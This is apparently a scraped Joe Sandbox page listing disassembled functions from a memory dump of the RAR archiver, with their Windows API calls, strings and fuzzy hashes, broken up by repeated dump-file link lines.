Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 5edc9aacada912d44111c0c5b3025bcfc37222d54029d4996b892e874874bebb
Instruction ID: 0554ac33247dc6f447664dce2013fc49c0aa21e34ddcf5654b90599d41568b48
Opcode Fuzzy Hash: 5edc9aacada912d44111c0c5b3025bcfc37222d54029d4996b892e874874bebb
Instruction Fuzzy Hash: A4F05E21B1878183F3208F26B44052AB7E4FB89BD4F1881B8EA89D3B58DF7CC9518B00

Function 00007FF69A403144 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(00007FF69A402684), ref: 00007FF69A40319F

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction ID: d4e3970708b1905539ebb13cb3ae336a642a74d197aa4002f08a0636b51f0b9a
Opcode Fuzzy Hash: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction Fuzzy Hash: 3B014C62A2868187EB70DB15E4413EA73E0FB99B44F8005B1E6CDC6688DF3CE644CF40

Function 00007FF69A446130 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A4462AD

Strings

NAN(SNAN), xrefs: 00007FF69A4461C5
nan, xrefs: 00007FF69A446198
NAN(IND), xrefs: 00007FF69A4461DB
INF, xrefs: 00007FF69A4461A3
inf, xrefs: 00007FF69A4461B6
nan(ind), xrefs: 00007FF69A4461E6
nan(snan), xrefs: 00007FF69A4461D0
NAN, xrefs: 00007FF69A446191

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction ID: a0c33f8de72f85a3c36793d9995220905df2b6345ffa8fd44ff83a7b9d9ca575
Opcode Fuzzy Hash: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction Fuzzy Hash: CF419C72A09B4599E720CF65E8417AE37E4FB08B98F0055BAEE9C87B55DE3CD025C344

Function 00007FF69A3F7988 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(00000000,00000100,?,?,00000002,00007FF69A3F7892), ref: 00007FF69A3F79BC
GetStdHandle.KERNEL32 ref: 00007FF69A3F79CA
GetConsoleMode.KERNEL32 ref: 00007FF69A3F79E0
GetConsoleMode.KERNEL32 ref: 00007FF69A3F79EE
SetConsoleMode.KERNEL32 ref: 00007FF69A3F79FC
SetConsoleMode.KERNEL32 ref: 00007FF69A3F7A0A
ReadConsoleW.KERNEL32 ref: 00007FF69A3F7A24
SetConsoleMode.KERNEL32 ref: 00007FF69A3F7A3A
SetConsoleMode.KERNEL32 ref: 00007FF69A3F7A47

Part of subcall function 00007FF69A3F82E4: fflush.LIBCMT ref: 00007FF69A3F832F

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Console$Mode$Handle$Readfflush
String ID:
API String ID: 1039280553-0
Opcode ID: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction ID: 375b06f97b16a0c6c1a41ca6d72871eac3a9aafa020f9a702c8ab83d81cff305
Opcode Fuzzy Hash: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction Fuzzy Hash: 8B218029A186439BFA209F25E80457D73A1FBCAFA1F1412F5EE4A83764DE3CE546C700

Function 00007FF69A430140 Relevance: 12.2, APIs: 8, Instructions: 205COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A430211
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A430222
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A43022D
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A43023E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A4303D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A4303E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A4303EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A430400

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction ID: eb13fdb3a25fb6ab9dc2032b3c07c8ea47c15d4538f0366164b927fe5135819b
Opcode Fuzzy Hash: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction Fuzzy Hash: 74819522A09A8286EB71DA11E6443BD73D0EB94F94F1445F1DB8D87B99DF7CE9468300

Function 00007FF69A3EC468 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 420COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A3EC7AE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A3EC97F
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A3EC9DC

Strings

xc%u, xrefs: 00007FF69A3EC9CC
x%u, xrefs: 00007FF69A3EC96F
;%u, xrefs: 00007FF69A3EC79E

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%u$x%u$xc%u
API String ID: 233258989-2277559157
Opcode ID: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction ID: e77bb15eac4cf3a18516fd20348f0b7307e5a3f9066c205ce9fd358450cc1525
Opcode Fuzzy Hash: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction Fuzzy Hash: CB02BE22B1868286EA74DA3592453FE73D1EF51B80F1404F9DA8ECB782DF7DE8558381

Function 00007FF69A401634 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF69A401694
GetShortPathNameW.KERNEL32 ref: 00007FF69A4016B5

Part of subcall function 00007FF69A42DAC0: CompareStringW.KERNEL32(?,?,?,?,?,?,00007FF69A414C1E,?,?,?,?,?,?,?,00007FF69A439706), ref: 00007FF69A42DADF

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A40175F
MoveFileW.KERNEL32 ref: 00007FF69A4017CD
MoveFileW.KERNEL32 ref: 00007FF69A401815

Strings

rtmp%d, xrefs: 00007FF69A401755

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction ID: 3e4c80ea38a0c90feb824d354e1725848a62c3fd5b3b2b6f426f7a87eba6365d
Opcode Fuzzy Hash: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction Fuzzy Hash: 5F517C62A18A9645EB70AB25D8005FE72D0FF62F84F5110F1DD0ECBA9ADF28E605D740

Function 00007FF69A42B650 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00007FF69A42B66A
CloseHandle.KERNEL32 ref: 00007FF69A42B685
CreateEventW.KERNEL32 ref: 00007FF69A42B699
GetLastError.KERNEL32 ref: 00007FF69A42B6A6
CloseHandle.KERNEL32 ref: 00007FF69A42B6C0

Strings

rar -ioff, xrefs: 00007FF69A42B65C, 00007FF69A42B68B

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CloseCreateEventHandle$ErrorLast
String ID: rar -ioff
API String ID: 4151682896-4089728129
Opcode ID: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction ID: 0e3e500477e23e5f333d47fcf3466ed7701376224b8ddb094d9d8ba664452d2c
Opcode Fuzzy Hash: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction Fuzzy Hash: C5016D28A59A07C6FB35EB75B85823533E1EF89F01F4814F1D94EC62A0CE3C614AC741

Function 00007FF69A42B470 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF69A42B488
GetProcAddress.KERNEL32 ref: 00007FF69A42B4A0
GetProcAddress.KERNEL32 ref: 00007FF69A42B4D5

Strings

SetDefaultDllDirectories, xrefs: 00007FF69A42B4CB
SetDllDirectoryW, xrefs: 00007FF69A42B496
kernel32, xrefs: 00007FF69A42B481

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: SetDefaultDllDirectories$SetDllDirectoryW$kernel32
API String ID: 667068680-1824683568
Opcode ID: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction ID: 92f3b5176a87dca5f6ce3b4dd5dc60132287bf80eb37c1d611c2641efeb16a7d
Opcode Fuzzy Hash: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction Fuzzy Hash: B3F01925A0AB4681EA64DB12F85407573A0EF8AFC0B4C60F0ED1ECB724EE2CE546C300

Function 00007FF69A441ADC Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A441B14
_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A441E39
_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A4420BE

Strings

-, xrefs: 00007FF69A441B8B
+, xrefs: 00007FF69A441B96

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: +$-
API String ID: 3215553584-2137968064
Opcode ID: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction ID: 1c6c773e58b68be3e069f4da5f271763d2e36337e523cb87435f1807b167ed28
Opcode Fuzzy Hash: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction Fuzzy Hash: 2A12A066E0D58386FBB49E59D0446B976D6EF00F64FD842F2D69AC36C0EF2CE6918304

Function 00007FF69A3FE49C Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

BackupRead.KERNEL32 ref: 00007FF69A3FE523
BackupRead.KERNEL32 ref: 00007FF69A3FE572
BackupSeek.KERNEL32 ref: 00007FF69A3FE5CB
BackupRead.KERNEL32 ref: 00007FF69A3FE641
BackupSeek.KERNEL32 ref: 00007FF69A3FE679
wcschr.LIBVCRUNTIME ref: 00007FF69A3FE6B4

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Backup$Read$Seek$wcschr
String ID:
API String ID: 2092471728-0
Opcode ID: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction ID: 044e71026c42828ec41423c63c99d6951b1c656e002630675ce3018d31ce2fc1
Opcode Fuzzy Hash: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction Fuzzy Hash: 8E51863661874586EB70CF15E84016A77E5FB89B98F2002B9EA9DC3B98DF3DD544CB00

Function 00007FF69A42BC8C Relevance: 9.1, APIs: 6, Instructions: 113timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A406754: GetVersionExW.KERNEL32 ref: 00007FF69A406785

FileTimeToLocalFileTime.KERNEL32 ref: 00007FF69A42BCEF
FileTimeToSystemTime.KERNEL32 ref: 00007FF69A42BCFB
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF69A42BD0B
SystemTimeToFileTime.KERNEL32 ref: 00007FF69A42BD19
SystemTimeToFileTime.KERNEL32 ref: 00007FF69A42BD27
FileTimeToSystemTime.KERNEL32 ref: 00007FF69A42BD68

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction ID: 77eecba9b37c3036db20deddcfcc6b876ad2e3938caed897aab071822122fa40
Opcode Fuzzy Hash: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction Fuzzy Hash: 61516AB2B146518EEB64CFB4D4445AC37B1FB48B88B50407AEE0E97B58EF38D556CB00

Function 00007FF69A42C254 Relevance: 9.1, APIs: 6, Instructions: 81timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF69A42C2B8

Part of subcall function 00007FF69A406754: GetVersionExW.KERNEL32 ref: 00007FF69A406785

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF69A42C2DA
FileTimeToSystemTime.KERNEL32 ref: 00007FF69A42C2E6
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF69A42C2F6
SystemTimeToFileTime.KERNEL32 ref: 00007FF69A42C304
SystemTimeToFileTime.KERNEL32 ref: 00007FF69A42C312

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
